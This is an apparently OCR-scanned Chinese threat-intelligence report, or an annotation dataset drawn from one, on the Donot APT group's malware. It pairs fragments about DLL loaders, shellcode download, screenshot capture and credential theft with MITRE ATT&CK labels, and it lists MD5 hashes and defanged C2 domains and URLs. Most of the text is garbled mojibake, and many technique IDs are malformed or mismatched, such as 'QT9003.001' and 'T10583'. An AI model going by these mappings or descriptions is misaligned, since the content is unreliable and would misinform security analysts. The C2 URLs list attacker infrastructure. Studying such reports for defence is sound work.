'TA0005', 'tactic": '
FafEki%, 'tid'":
'T1027.005',
'technique': JHFR T
BRI R R4S
{iE'}, {'taid":
'TA0005', 'tactic": '
FafEki%, 'tid'":
'QT9003.001",
'technique': '&iF%
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C:\Users\[user]\AppData\Local\Nsget\Updates\[}fE{r® | 'tactic': '{5A 1/,
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'technique': &R
Run &R E &
REREEY Windows ISHES, WHAESHART | (o Tho00s. o
i 'tactic': 'FF A,
HATRINEY alex.bat, 'tid': 'T10583',
'technique': 'ER/E
SEELY
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'tactic': '#% ',
HEE RS H L StConectert, tid': "T1053,
'technique': 'ER{E
SEELY
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"technique': 'HIFRZ
R
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'technique': 'C2 &
E EEIRESIR
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'technique": "B&1C
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BRSHREEURNER ({taid: TA00OS', .
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BRMIES SN po ERSESREFEME E, AEMELL | [(taid 'TA000S' [

HESEIRZAI upr FEXME, IR ipg XM,
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'technique': JEIEX
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'technique': JHFR T
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‘technique': 'C2 1@
E EEIEBITR
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'technique': '& &'}
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'technique': ' RZ3AT
B ELN
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09 VBA RRARIRI, BEREE, AWARREE | ool AT
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e, N
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‘technique': 'HIFRZ
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79cff3bcacbe51e1b3fecd131b949930) Hflitiingg, | oo AT tid:
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1
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X1 MD5
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[{*taid": "TAO0O5',
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'technique': JEIEX
HEER", {'taid":
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'technique': JEIEX
HEER", {'taid":
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FafEkiR, 'tid
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'QT9003.001",
'technique': '&iF%

ET RN

RAXRIMZBSXOEFEMRERIGFHEN, SE
base64 #1371 AES f##[5, MWRERBHIEBMRH#ITUN TR
fE: (1) TFWRE1;

[{'taid': 'TA0005',
‘tactic': 'BAfEILIR",
'tid': 'T1140',
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'tid":
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'technique
T EFH
AT,




{'taid":
"TA0003',
'tactic': '
B,
'tid":
'T1027',
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dn2272iosUp.dll "T1055',
'technique
MD5
LR
07a3c19bc67c5f44c888ce75d4147ect N3
{'taid":
MR "TA0002",
'tactic': '
pe32dll =l tid':
'T1059',
X{FERD "technique
tHRIE
296960 F i £
YRiZETE)
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T#E DLL —fRERM T SHEH: HF— 7 SHRMETREITIESEHS— T SHERE; M5
— P SHEHWE C2 RSHFEMEVEMNENER, TRHPTIENIGHHFEERRM DLL AfF,

SFX X {#ifF dn2272iosUp.dll KIS i1 EK StTskloipy. %EEIE DLL HEIS {1242 AES HIEE
JEE A\”C:\Users\[user]\AppData\Local\windin.txt”, #l5i% DLL ZZZaiHEFH temp BEHT
=71, MEHZE temp BRT. AGET COM EOREIHRIES AR S — 1 SHE
SDtuiopnhukm,

[{'taid":
'"TA0002',
'tactic': '
I 'tid":
'T1059',
'technique
tIHRIE
£,
{'taid":
'"TA0002',
'tactic': '
HAT, 'tid":
'T1055',
'technique
tHREE
AL
{'taid":
'"TA0002',
'tactic': '
&4, 'tid":
'T1071",
'technique
tUTREE
Titiis Y]

[0,1,2]

ETHMI, 4§ WingMndre.dll {R7Z7E ZRiBIEH Nsget BRT. MIPRSHERE StTskloipy Hi1T
BPER ALY windin.txt 32, BB itXESEA WingMndre.dll i StConectert S &, EFix
HRES 51517 S 4 R SDtuiopnhukm BiZBAIITRIfESSER ("OneDriveUpdaton”) , 10
FERREITHIESHRITAR.

[{'taid":
'"TA0002',
'tactic': '
I 'tid":
'T1059',
'technique
tIHRIE
£,
{'taid":
'"TA0002',
'tactic': '
HAT, 'tid":
'T1055',
'technique
tHREE

[0,1,2]




AL
{'taid":
'"TA0002',
'tactic': '
£4', 'tid":
'T1071",
'technique
tUTREE
fitiis Y]

7£ Nsget B R TR Uwn.txt X4, {R7F AES IZEGHY victim id, #A/5i@id CreateProcessW
ERAM TRt FRSE, MERZSET DLL fEiE ERS .

[{'taid":
'"TA0002',
'tactic': '
B,
'tid":
'T1030',
'technique
" 'FIBRAR
£,
{'taid":
'"TA0002',
'tactic': '
BEXH,
'tid":
'T1107',
'technique
L RERED

=]

[0, 1]

B4 4 WingMndre.dll THEE I EER, EFEFESMT,

[{'taid":
'"TA0002',
'tactic': '
AT, tid":
'T1055',
'technique
tHREE
AN

U]

S StConectert B 55 iAAERE sub_100112D0 E{AE85 2—1 while 1&3F, BHRFIHE%
[6 C2 BRS3 82 K i% victim id {EREIREE . Victim id M Nsget B & T#I Uwn.txt FR3KEY, @1Rix
XEFEFENENER. EEITENE, BHEEERBER Uwn.txt ASFTERR AES BH5 iv #ll
THBAMER, MAEEREBRERS—E AES A iv % victim id, RIXERESH
URL J5:

[{'taid":
'"TA0002',
'tactic': '
&4, 'tid"
‘T1071",
'technique
2]

HI

U]

WNSRIRERZ] C2 MIMRLH BMHET T—HR(E, TR 30s, HEANT—IREH. WEIESRA""S
iR, B—EoRTHME—IEHAN (BEEFEESRES) NRIMRE.

[{'taid":
'"TA0002',
'tactic': '
B,
'tid":
'T1028',
'technique
LR
1T,
{'taid":
'"TA0002',
'tactic': '
B,
'tid":
'T1105',

[0, 1]




'technique
"t RFEX

HEmY

%305 Z Al Donot MIHER2IRM, FIBRMALESIZREFABEMS, MEEREAFRL
H,

[{'taid":
'"TA0002',
'tactic': '
B,
'tid":
'T1105',
'technique
" RREX

HEmY

U]

TEHREEEERIZEC:\Users\[user]\AppData\Local\Nsget\Updates” B 1, FREVGEEA M
FJURLANTF:

[{'taid":
'"TA0002',
'tactic': '

5, 'tid":

‘T1071",
'technique
tRE

EHI

U]

ENEMEEEN, B alex.bat th#E Updates BE T, ASMUT.

[{'taid":
'"TA0002',
'tactic': '
B,
'tid":
'T1059',
'technique
tIHRIE
£,
{'taid":
'"TA0002',
'tactic': '
BEXH,
'tid":
'T1107',
'technique
"t RERED
=228
{'taid":
'"TA0002',
'tactic': '
B,
'tid":
'T1071",
'technique
2]

EHI

[0,1,2]

[BIEHEIREEEL while B3 /G, FEITHER DLL —#, NITEREMRE.

[{'taid":
'"TA0002',
'tactic': '
B,
'tid":
'T1030',
'technique
" 'FHIBRAR
£,
{'taid":
'"TA0002',

[0, 1]




'tactic': '
BEXH,
'tid":
'T1107',
'technique

" TR
ER)]

M WingMndre.dll }#3XE]—1~ &7 SSrtuioUpd.dll B9iEHE, EAEEMT.

[{'taid":
'"TA0002',
'tactic': '
WEER,
'tid":
'T1082',
'technique
"RGME
BRI,
{'taid":
'"TA0002',
'tactic': '

AT, tid":

'T1055',
'technique

tURREE
N

[0, 1]

ZIEFITHREN SR RIS, E(FIHEETER I sub_10006D10 ISR,

[{'taid":
'"TA0002',
'tactic': '
WEER,
'tid":
'T1113/,
'technique

" RERE
RN

U]

AR srt B3R upr XHEUEEIEEI C2 fRS523, EfE URLANT:

[{'taid":
'"TA0002',
'tactic': '

4, 'tid":

'T1071",
'technique

w5

EHI

U]

A EFRANMERINEE—E, ELEIA 32 hRAAGI#1TIR . SHFEL Rivgyrty SR E 5 EI812
I E &”C:\Users\[user]\AppData\Local\Logo”®, FZFRA difgo2rf.dll,

[{'taid":
'"TA0002',
'tactic': '
B,
'tid":
'T1059',
'technique
tIHRIE
£,
{'taid":
'"TA0002',
'tactic': '
BEXH,
'tid":
'T1105',
'technique

[0, 1]




L ImREX

HEmY

: PRET 'taid": 2 0, 1
i 8 — 1S4 FY rgbrgbbgr KRG T {4777 H 2”C:\ProgramData\Winstom\Dnt -FE,Eﬁ HI’;T&%OQ [0, 1]
fE Kyingert.dll, tr2201dcv.dll, SSrtfgad.dll = i@, MWRAFENMM C2 RSB TH, ABEA | +actic': -
&+ DLL 9 St &S A . IREVEHRY URL 21T - ﬁ:g;:d :
%echmdue
tERR

Hinigdn
LHATY,
{'taid":
'"TA0002',
'tactic': '
&4, 'tid"
'T1071",

'technique
tRE

HI

[{'taid": 3 [0,1,2]
=NEGRITIRE S AU T - 'TA0002',
'tactic': '
WEER,
'tid":
'T1056',
'technique
VN
R,
{'taid":
'"TA0002',
'tactic': '
WEER,
'tid":
'T1002',
'technique
tEIER
m',
{'taid":
'"TA0002',
'tactic': '
WEER,
'tid":
'"T1113/,
'technique

" RERE
RN

— taid: |1 [0]
3 MEfFEE{E 28 URL 18R, WTFATR: EI':CI]OOQ',

'tactic': '
£, 'tid":
'T1071",

'technique
o 1N A
DR =

HI

-

'taid": 0
Donot thE I &M {EF EXE AIHFH TRERMER, HHLANEXHAERAT, K o0z ]

'tactic': '




&4, 'tid"
'T1105',
'technique
"t RFEX

HEmY

FEXH 1 (MD5: 171c011571f94ea2f5¢c928bdf5d560dc) fY VBA {EFIASITRIAT, BENRB
5, FINEZIEAELRN pkhfg.bat, ATEIE 3 MHIMES, HHITEEAMHMER.

[{'taid":
'"TA0002',
'tactic': '
B,
'tid":
'T1053',
'technique
tIHRIE
£,
{'taid":
'"TA0002',
'tactic': '
HAT, 'tid":
TI171,
'technique
" 'DLL £

]

[0, 1]

IZE BRI tbreah.bat ¥, %X 4153 dfer.cab X{HREE L T 2344 dfer.exe,

[{'taid":
'"TA0002',
'tactic': '
1T, 'tid":
'T1566',
'technique
RS
FXHT

=8

-

U]

BX1E 2 #1 3 K9 VBA (E81EM, ELMUEXE 2 (MDS5:
79cff3bc3cbe51e1b3fecd131b949930) Afli#{TiRE. 52ZRIAR, RRBIIMITIIHLMSIIEIT
FF(Open)ikpk T < Hdi(BeforeClose),

[{'taid":
'"TA0002',
'tactic': '
AT, tid":
'T1053',
'technique
tIHRIME

e

-

U]

BBE%S dikd.zip f5, HEERERBPRES, HERERNXEFEREN ZBNTUESPIREN
#8122 mnvc.exe, HEMKEELEXMEREHZGHRERRIBEFNESR.

[{'taid":
'"TA0002',
'tactic': '
AT, tid":
'T1560',
'technique

©ZIP R
43N

-

U]

3 PRI EXE AR BEEF—, IERNER, (FAEM C2 TRAITERAN, &
ER 1 NEREERFAH TRIRF, HPH bat XX EE LR VBA RKBRIZEITIESHIX
HEER,

[{'taid":
'"TA0002',
'tactic': '
&4, 'tid"
'T1105',
'technique
" RREX

HEmY

-

U]




-

& 4 [{'taid": [0]
THEEZEA Tao002"
'tactic': '
&4, 'tid"
'T1105',
'technique
"X

HEmY

-

g%/ [{'taid": [0]
THKE 2 A0
'tactic': '
&4, 'tid"
'T1105',
'technique
" RREX

HEmY

-

BRAERIREERNE LRI ERANEE, EXE AHREERNS 25 KEHEN Donot Exy— | [{taid: [l

'"TA0002',
H[3]. 'tactic': '
&4, 'tid":
'T1105',
'technique
"B

HEmY

-

Donot 7 PE £ WHAHTEEAEXMBF R XRFFRNE, BTHANKFHMABEES |[{taid: [l

{8, 501 T, RNKILGEEMLILG DLL AfLSEERNE 01 THRAEE X S ENBEEX ;ﬁ?ﬂoz
RFFE, FEENERERRMMEL AN TR FRHHITLHE, Bﬁﬁﬂ,ﬁﬂ
e
'technique
TTEEX
itz

-

EXLEMBARP, FRHENASCIBEFHERABHER, HU 01 FHBERFETH4 | [{taid: [

'"TA0002',
. 'tactic': '
BURRAE,
'tid":
'T1555',
'technique

"R
HES—
N R
N

-

MRRET—RISHOER, MBLE 01 TR, g2 o]
‘tactic': '
BB,
'tid":
‘T1555',
'technique
"R
HHES—
P gifie
W




£ 2022 F R IAT Donot #AH, FIAHIIINE 01 TR, ST —REIREEE 01 FHEBUE
HRARRITER, XRFRERIEFHENESTFHREM 64 TFHREN 01 FRHERT.

[{'taid":
'"TA0002',
'tactic': '
EERATE,
'tid":
'T1555',
'technique
" RREIX
HES—
TERF
1

-

U]

RAXXMBAXNESERERIGFTEN, R base64 fZi5F] AES BHE, MWERHUEEMK
REATIMTRE: (1) BFWRE1; (2) BEASAFTRRME; () FHHERF.

[{'taid":
'"TA0002',
'tactic': '
EERATE,
'tid":
'T1555',
'technique
"R
HES—
TERF
1

-

U]

MEFRE Donot HAMKEFHEMEE, WikidFERITRESSEREGAN, FXEANRD
EHRECHKERRE, TERTERAFNEBEALTRNTZSERNAMXE, MEMSHEL.

[{'taid":
'"TA0002',
'tactic': '
B,
'tid":
'T1053',
'technique
tIHRIME

e

-

U]

ERIGT, TREHAPHNEA, AIAEEFRERMERXHRESTTS
(https://sandbox.ti.gianxin.com/sandbox/page) #4173,

[{'taid":
'"TA0002',
'tactic': '
KW, 'tid":
'T1547,
'technique
" RKE
BFAMNN

-

U]




MD5 [{'taid": 1 [0]

(= XX1H) 'TA0040',
'tactic': '

06adbbdba31a52cc5c9258bf6d99812¢ IRIRIER",
'tid":

d98e2d7c8e91a9d8e87abe744f6d43f9 'T1003',
'technique

c839d8a01c97407526b3407022823c8a TR ER R

1c4fb7c41e7928bfb74784d910522771 ## HASH
BEREY

e1d235c95a7c06b1203048972cf179fa

6de75b200652eefadaba3bb84da7f798

0ec8911f9764ea7b254ea19cd171535e

171c011571f94ea2f5c928bdf5d560dc

79cff3bc3cbe51e1b3fecd131b949930

dcac3a03c0c58b90cd4cbcc814d12847

(DLL) [{'taid": 1 0]
'"TA0040',

e46¢d1c4b32355cad39b41ef3b66b659 'tactic': '
TERULE,

c231254ced08ca556bf35e587469628f tid':

5557b32672ee9ad6be20395d447a3e52 71008,

eevadobe ase 'technique

3febdde4375dcc3ffba144e2fc61dd94 BRI
4 HASH

4c0dadc4b6938dcc9ca8951d34cb2a09 e
BERE"Y

d30631ba67a28a6e4ab0c4e9584e26c2

2abc60fa1e042612e723360ccd8220c6

3c6ad03f0ab284350d8b0d3d4cf22196

07a3c19bc67c5f44c888ce75d4147ect

d7e123fe7fb8a5f56ec9d89f7787340d

20c581284cccadd8b6193c2e1c84a900

5e464d04b35a83d28c4e26c06eec28f5

9946df6c429b83009535dca8d1a5d321

ee24afbe471b5e63b06a759fa0ebalcc

7750cac1cab5e6fd9e5cadecbc3c51f6

0844b582c202dca08083d04d10bdf36e

(SFX) [{'taid": 1 [0]
'"TA0040',

4eaa63dd65fc699260306c743b46303b 'tactic': '
TERULE,
'tid":
'T1003',
'technique
T TEER
4 HASH

EREY




(EXE) [{'taid": [0]
'"TA0040',

a84d7a5b8831d7494ee20b939e37e56f 'tactic': '
IBIRIEE,

3b730afd4ed953a9031a3facf111a64e ig'
'T1003',

cf646416025a84c5ef25b99dc999da9d ! .
technique
tBRER
% HASH
BHREY

Cc2 [{'taid": [0]
'"TA0O11",

one.localsurfer.buzz 'tactic': '

. w5

orangevisitorss.buzz
', 'tid":

morphylogz.buzz 'T1090',
'technique

crezdlack.buzz nREY]

crushter.info

monitoriing.buzz

m.seasurfer.buzz

bloggerboy.buzz

sky.ydnmovers.buzz

itygreyhound.buzz

balancelogs.buzz

mayosasa.buzz

goldliney.buzz

briefdeal.buzz

repidyard.buzz

salcomp.buzz

grapehister.buzz

orangeholister.buzz

blogs.firelive.pics

records.libutires.info

balancelogs.buzz [{'taid": [0]
'"TA0O11",
'tactic': '
w5
#l', 'tid":
'T1091",
'technique
"t R
&1

sky.ydnmovers.buzz [{'taid": [0]
'"TA0O11",
'tactic': '

w5




', 'tid":
'T1091",
'technique
R
&1

-

mayosasa.buzz [{'taid": [0]

'"TA0O11",
'tactic': '
w5
', 'tid":
'T1091",
'technique
R
&1

-

orangeholister.buzz [{'taid": [0]
'"TA0O11",
'tactic': '
w5
#l', 'tid":
'T1091",
'technique

R
)|

-

records.libutires.info [{'taid": [0]
'"TA0O11",
'tactic': '
w5
#l', 'tid":
'T1091",
'technique

R
)|

-

forum.winidowtech.info [{'taid": [0]
'"TA0O11",
'tactic': '
w5
#l', 'tid":
'T1091",
'technique

R
)|

-

hxxp://one.localsurfer.buzz/jl60UwJBkaWEkCSS/MU3gLGSnHhfDHRnwhIILSB27KZaK2doa | [{'taid":
q8s9V5M2RIgpeaD8l.ico|.png|.mp3|.mp4] 'TA0013",
'tactic': '
HIEKEE,
'tid":
'T1566.00
2',
'technique
tEAE
Web {12

i

U]

-

U]

hxxp://orangevisitorss.buzz/QcM8y7FsH12BUbxY/XNJxFhZdMSJzq1tRyF47ZXLIdgNGRqiH | [{'taid":
QQHL6DJIjI210xUA[.ico|.png|.mp3|.mp4] ‘"TA0013',

'tactic': '




HIEKEE,
'tid":
'T1566.00
2!,
'technique
tEAE
Web {12
1

hxxp://morphylogz.buzz/Ik3Elidg3fc2GGig/aFwrDmHIiBWh62kZPVb4bmVOwaydPvOWtgqM
0QTte5iAFzF0[.ico|.png|.mp3|.mp4]

[{'taid":
'"TA0013',
'tactic': '
BIRIER,
'tid":
'T1566.00
2,
'technique
tEAE
Web {12

i

-

U]

hxxp://crezdlack.buzz/icsJOzJVtdTcGPB3/PTOw3akYLzLtd5AGs3PVE|MKJ1a05xtfGvWbFm
c4ubgXBvJOl.ico|.png|.mp3|.mp4]

[{'taid":
'"TA0013',
'tactic': '
BIBINER,
'tid":
'T1566.00
2,
'technique
tEAE
Web {12

i

U]

hxxp://crushter.info/m4k1doWVqgrvvbjsc/AOg9AQ2SVeHsiL61tkS53q02NnMToZuOb8s5yUe
8iEcBxAsO[.ico|.png|.mp3|.mp4]

[{'taid":
'"TA0013',
'tactic': '
BIRIER,
'tid":
'T1566.00
2,
'technique
tEAE
Web {12

i

U]

hxxp://monitoriing.buzz/3fHYKahOXhkVV3Uj/dqyWpAfXBcyQkTkzoamk25hn3cbTbeuhimfJ
008uTOFCkhlal.ico|.png|.mp3|.mp4]

[{'taid":
'"TA0013',
'tactic': '
BIRIER,
'tid":
'T1566.00
2,
'technique
tEAE
Web {12

i

U]

hxxp://m.seasurfer.buzz/33IhGEeiVe57s89Y/nmEVLghLOB5dMtBiZMAgelVniuP4bVFETWfsZ
aQ2jZ1bMJYdl.ico|.png|.mp3|.mp4]

[{'taid":
'"TA0013',
'tactic': '
BIRIER,
'tid":
'T1566.00
2',

-

U]




'technique
tEAE
Web {12
1

hxxps://mayosasa.buzz/Testoresisty/kolimekatares

[{'taid":
'"TA0005',
'tactic': '
FEIEAE,
'tid":
'T1110',
'technique
"R

MEEY

-

U]

hxxps://mayosasa.buzz/Testoresisty/bekolopexar

[{'taid":
'"TA0005',
'tactic': '
FEIEAE,
'tid":
'T1110',
'technique
" RN

MEEY

U]

hxxps://goldliney.buzz/Lomiapekaso/texadikkomanapel

[{'taid":
'"TA0005',
'tactic': '
FEIEAE,
'tid":
'T1110',
'technique
" RN

MEEY

U]

hxxps://sky.ydnmovers.buzz/Kolpt523ytcserstrew/torel

[{'taid":
'"TA0004"',
'tactic': '
SMINLE,
'tid":
'T1556.00
1,
'technique

"UBANfE
WIS

N

U]

hxxps://sky.ydnmovers.buzz/Kolpt523ytcserstrew/meoko/P/sa

[{'taid":
'"TA0004"',
'tactic': '
SMINLE,
'tid":
'T1556.00
1,
'technique

BN fE
WIS

N

U]

hxxps://itygreyhound.buzz/Kolpt523ytcserstrew/torel

[{'taid":
'"TA0004"',
'tactic': '

U]




SHMINLE,
'tid":
'T1556.00
1,
'technique

BN fE
WIS

N

hxxps://itygreyhound.buzz/Kolpt523ytcserstrew/meoko/P/sa

[{'taid":
'"TA0004"',
'tactic': '
SHMINLE,
'tid":
'T1556.00
1,
'technique

BN fE
WIS

N

-

U]

hxxps://balancelogs.buzz/Kolpt523ytcserstrew/torel

[{'taid":
'"TA0004"',
'tactic': '
SMINLE,
'tid":
'T1556.00
1,
'technique

"UBANfE
WIS

N

-

U]

hxxps://balancelogs.buzz/Kolpt523ytcserstrew/meoko/P/sa

[{'taid":
'"TA0004"',
'tactic': '
SMINLE,
'tid":
'T1556.00
1,
'technique

"UBANfE
WIS

N

-

U]

hxxps://briefdeal.buzz/Treolekomana/recopereta

[{'taid":
'"TA0005',
'tactic': '
FEIEAE,
'tid":
'T1110',
'technique
"R

MEEY

-

U]

hxxps://bloggerboy.buzz/zapterserty512wer/plekobakarester

[{'taid":
'"TA0005',
'tactic': '
FEIEAE,
'tid":
'T1110',
'technique

-

U]




BN

MEEY

hxxps://bloggerboy.buzz/zapterserty512wer/xcvderioneytr

[{'taid":
'"TA0005',
'tactic': '
FEIEAE,
'tid":
'T1110',
'technique
RN

MEEY

-

U]

hxxps://briefdeal.buzz/Likorecasta/mikachar

[{'taid":
'"TA0005',
'tactic': '
FEIEAE,
'tid":
'T1003.00
1,
'technique
" BIEY
ZEip[a)F)
RAFAE

ik

-

U]

hxxps://repidyard.buzz/Romexicarto/terokanama

[{'taid":
'"TA0003',
'tactic': '
B,
'tid":
'T1078.00
4,
'technique
tIHRIE

e

-

U]

hxxps://repidyard.buzz/xoexapolicreate/ertyprmekabiops

[{'taid":
'"TA0003',
'tactic': '
B,
'tid":
'T1078.00
4,
'technique
tIHRIE

e

-

U]

hxxps://salcomp.buzz/Terolekaremos/romeosata

[{'taid":
'"TA0002',
'tactic': '
AT, tid":
'T1059.00
1,
'technique

. IANAN
R E

FEAS"Y]

-

U]

hxxps://grapehister.buzz/DoPstRgh512nexcvv.php

[{'taid":
'"TA0002',
'tactic': '
AT, "t

-

U]




'T1059.00
1,
'technique

TN A
R E

FEAS"Y]

-

hxxps://orangeholister.buzz/kolexretriya78ertdcxmega895200.php [{'taid":
'"TA0002',
'tactic': '
AT, 'tid":
'T1059',

'technique

- TN A
R E

e
2

(Cmd)
1

U]

-

[{'taid":
'"TA0002',
'tactic': '
AT, 'tid":
'T1059.00
1,
'technique

TN A
R E

FEAS"Y]

U]

-

hxxps://blogs.firelive.pics/yureyuryquyey/dskjrhekjjkdhjrae [{'taid": [0]
'"TA0002',
'tactic': '
AT, 'tid":
'T1059.00
1,
'technique

TN A
R E

FEAS"Y]

-

hxxps://records.libutires.info/loproiaoroaspdrjro/reoriaweoprdpoi [{'taid": [0]

'"TA0002',
'tactic': '
AT, 'tid":
'T1218.01
0,
'technique
" ERERS
(R
wE

%) N

-

hxxps://records.libutires.info/yryerewuaoirjljra/bcalkrhwejkarje [{'taid": [0]
'"TA0002',
'tactic': '
AT, 'tid':
'T1218.01
o',
'technique

" EHER
B (A




mIBE
%) N

hxxps://forum.winidowtech.info/jkdegqgegcgegog/hfogrcgegdhpgdgeq

[{'taid":
'"TA0002',
'tactic': '
AT, tid":
'T1059.00
1Y,
'technique
2]

FEAS"Y]

-

U]

hxxps://forum.winidowtech.info/jilmvidfhqohcghog/ntbahoghbhcghqo

[{'taid":
'"TA0002',
'tactic': '
AT, tid":
'T1059.00
1,
'technique
tRE

FEAS"Y]

-

U]

Expert Review Result

text

tts

ttps_pred_
count

ttps_acce
pt_idx

ZARERH N BUENN ., ERFEERIIURESMAEEA LIRMEEIRES, FEEBED
ENREEME, fE=FFHEIHXER.

[{'taid":
'"TA0001",
'tactic': '
BIRIEE,
'tid":
'T0418',
'technique

" EERS|

R3]

1

I

Donot AAMNKHENMEEERMAITERDAAE, ZTEBE—EEFRSF

[{'taid":
'"TA0003',
'tactic': '
B,
'tid":
'T1065',
'technique
tIHRIE

e

-

TR EZALRUTE R R IR AR RS FIF BRG],

[{'taid":
'"TA0002',
'tactic': '
1R, tid':
'T1204',
'technique
"1 'Office
XA
Content_V
BA'}]

-




XA HAREIREY Donot HAHITIRIERE, HIVRMZARNTERERENDRFE—FNNE, B Erlfc;gc:)s' 7
REEWESHTENEEANBEATR, THREREHENABMET, EA3CE3S Donot HR | 1actic:
IEAREFER— T ERACE. ?%dﬁl'lé‘,
'tid":
'T1055',
'technique
tHREE
AL
{'taid":
"TA0003',
'tactic': '
B,
'tid":
'T1547',
'technique
': '"ARP R

I,
{'taid":
'"TA0003',
'tactic': '
B,
'tid":
'T1218',
'technique
" ERERIE
PeLEF
ANMEY,
{'taid":
"TA0003',
'tactic': '
B,
'tid":
'T1093',
'technique
" 'DLL £
#1,
{'taid":
"TA0003',
'tactic': '
B,
'tid":
T1112,
'technique

'Regsvr32'
}, {'taid":
'"TA0002',
'tactic': '
1R, 'tid':
'T1204',
'technique
"1 'Office
Xt
Content_V
BA'},
{'taid":
'"TA0001"',
'tactic': '
IBIRIEE,
'tid":
'T1247',




'technique
RRCE Py
Xy
1

Donot BB #H RAIXAHMNIT shellcode THIFLE DLL A, #—H THIFMASIEHEGEEEM
AEEAHER DLL,

[{'taid":
'"TA0002',
'tactic': '
1R, tid':
'T1204',
'technique
"1 'Office
Xt
Content_V
BA},
{'taid":
'"TA0002',
'tactic': '
B, tid':
'T1203',
'technique
RIES

i

EUEMRRXBXXERIFEAREREAP, REENEEREDBRE rar EHESE TR
DLL 421,

[{'taid":
'"TA0002',
'tactic': '
1R, tid':
'T1204',
'technique
"1 'Office
Xt
Content_V
BA},
{'taid":
'"TA0003',
'tactic': '
B,
'tid":
'T1105',
'technique
tUREH
1T,
{'taid":
'"TA0003',
'tactic': '
B,
'tid":
'T1027',
'technique
" BRRE
IheEFIA
1

Ioh, EFEREFERT, Donot ALRE(ER EXE A, EBHEXHEEBRNESRE, BELHES
B EXE A THREL.

[{'taid":
'"TA0002',
'tactic': '
1R, tid':
'T1204',
'technique
"1 'Office
XA
Content_V

[0, 1]




BA'},
{'taid":
'"TA0003',
'tactic': '
B,
'tid":
'T1105',
'technique
tUREH
AT

-

Donot {ERIE R AR DS XS BN TRAR. [g fc';%oz [0]
'tactic': '
BE, 'tid":
'T1204',
'technique
": 'Office
Xty
Content_V
BA'}]

MEBERIUE R, xis fll doox X449 FIRA—HARUEES ), HEAXL R EHATEETHEN [{ch';%oz 2 !
TSRS R o ‘tactic':
B tid':
'T1204',
'technique
": 'Office
X#4
Content_V
BAY,
{'taid":
"TA0O0O1',
'tactic': '
IERILE,
'tid":
'T1201",
'technique
TRIER

= =AN
5=

'

VBA RBIAFH ijl K BERNBHHEERNERRBHTEE, B [{ch';% 02 2 0
NtAllocateVirtualMemory B A7, i&@id WideCharToMultiByte K 01415/ shellcode ## | 'tactic': '

B HERNF S RIE AN #TEE, AGAB EnumUILanguages REHIT shellcode, B{Af2 | IE1E', 'tid":

. "
B#ITHY shellcode IRIBRALIBTE. ,tT;Cth:“éue
": 'Office
XH4
Content_V
BA'},
{'taid":
'TA0002',
'tactic': '
EiEAE',
tig';
'T1134",
'technique
": 'Office
ERER
gl




-

b4 64 ZARAAY shellcode 39, E5it{TERBRIE, BEHXNEFTRRBERL, ftaia ]
‘tactic': '
BN,
'tid":
‘T1027',
'technique
BRE
ThEERIF
g

-

& urimon.dil £k URLDownloadToCacheFileA R THE4LE, B4 URLHINT: [{T fc;% Ic:)z' [0]
'tactic': '
&5, 'tid':
'T1071",
'technique

CUTEHE
iR HE Y]

SRENHIZE I ER shellcode BGIRF T RHHTEHBRE, RESAEX APL, AR [il'fCIJ%OQ 2 [0]
Wow64DisableWow64FsRedirection X FIX R AEEE . Eid GetLocalTime FKENRZARTE, | tactic':
NSRS RN B A FiELRHSHY B #iN shellcode 453RiE1T . BFAM,
'tid":
'T1027',
'technique
" BEE
IheeFIA
'}, {'taid":
'TA0003',
'tactic': '
BFAM,
'tid":
'T1112',
'technique
" AR
MIERTHEE

HOREREAR

(53]

ORI B E N FRIRIEEN 4 7E"C:\Windows\System32\drivers” B R T2 &EZE. MEXE MR [irfé‘é% 1 I

FE, WRESHA AR ATHENAEN B RRELZAREXMMCEEWE: MFEFIX | tactic":
BfE RmES 1, AFMR 2, Yagiilk= U
'tid":
‘T1144,
'technique

" IREFE
F3EANTY

-

FATAIZRERAIER T, 1A URLDownloadToFileA THE&HE, RFHNFEF temp HE T | [{'taid” 0]

'TA0002',
4 Unincored.dll 324§, El”%tmp%\Unincored.dll”, 3XBY/S4E69 URL ¥: "tactic': '

&4, 'tid":
'T1071",
'technique

CUTEHE
BHiRHE Y]




IR TEXME, B4R 4 FTHE)74D 5A 90 007, &8 PE X{4:L%8, LoadLibraryA fN&ki%
DLL, GetProcAddress XBUEESHE &3ttt (tripoliro) , WRAIZSH R,

[{'taid":
'"TA0002',
'tactic': '
AT, 'tid":
'T1055',
'technique
tHREE
A
{'taid":
'"TA0002',
'tactic': '
AT, 'tid":
'T1106',
'technique
bR
AN

EERREENERT, NREMATCEEN 2, MEEBITHNT int3 FPEfsiE H i <& hEt
R, &Ik shellcode (&7, MRITICTERN 1, FLERIRIIRA shellcode HITIERS TR
R—3; MES—LERRFEN, RN berypt.dil, IFE4LE shellcode ElIZ] berypt.dil BRETEY
AEFHHIT,

[{'taid":
'"TA0005',
'tactic': '
FhfEsed,
'tid":
'T1052',
'technique
"t ME

AT

-

RIBEREINI 32 fiZhR7S shellcode 5 64 iIEA—H, & TFH/E4E shellcode #] DLL H Y
URL BFiFE.

[{'taid":
'"TA0002',
'tactic': '
£4', 'tid':
‘T1071",
'technique
tUTREE
Tt

-

U]

URL
Shellcode

http://orangevisitorss.buzz/QcM8y7FsH12BUbxY/XNJxFhZdMSJzq1tRyF47ZXLIdgNGRqiH
QQHL6DJIjl2loxUA.ico

DLL

http://orangevisitorss.buzz/QcM8y7FsH12BUbxY/XNJxFhZdMSJzq1tRyF47ZXLIdgNGRqiH
QQHL6DJIjl2loxUA.mp3

[{'taid":
'"TA0002',
'tactic': '
£4', 'tid":
‘T1071",
'technique
tUTREE
fitighE"

-

U]

ZEBEXGHERXFREm#THE, BIT/ETHE temp BRTHERK, & rundli32.exe HITHR
DLL AAHHISHRE, HITFESEEFES PDF FEHXAX 4R ‘Kashmir”,

[{'taid":
'"TA0002',
'tactic': '
AT, 'tid":
'T1055',
'technique
tHREE
AL
{'taid":
'"TA0002',
'tactic': '
1R, tid':
'T1204',




'technique
"1 'Office
Xt
Content_V
BA'}]

A _EE SFX #ZAENR DLL AHRERERBI#T I

[{'taid":
'"TA0002',
'tactic': '
AT, tid":
'T1055',
'technique
tHREE
AN

-

{EFRR T8 DLL E2UT.

Xf#
dn2272iosUp.dIl

MD5

07a3c19bc67c5f44c888ce75d4147ect

X{hRE

pe32 dil

XA

296960 FTi

YRiETiE)

2023-01-10 14:16:06 UTC

T#E DLL —fREM T SHEH: HF— 7 SERMETREITIESEHNS— T SHERE; M5
— P SHEHWE C2 RSHFEMEWEMNENER, TRHPTIENIGHHEERRM DLL A,

[{'taid":
'"TA0002',
'tactic': '
HAT, 'tid"
'T1055',
'technique
tHREE
A
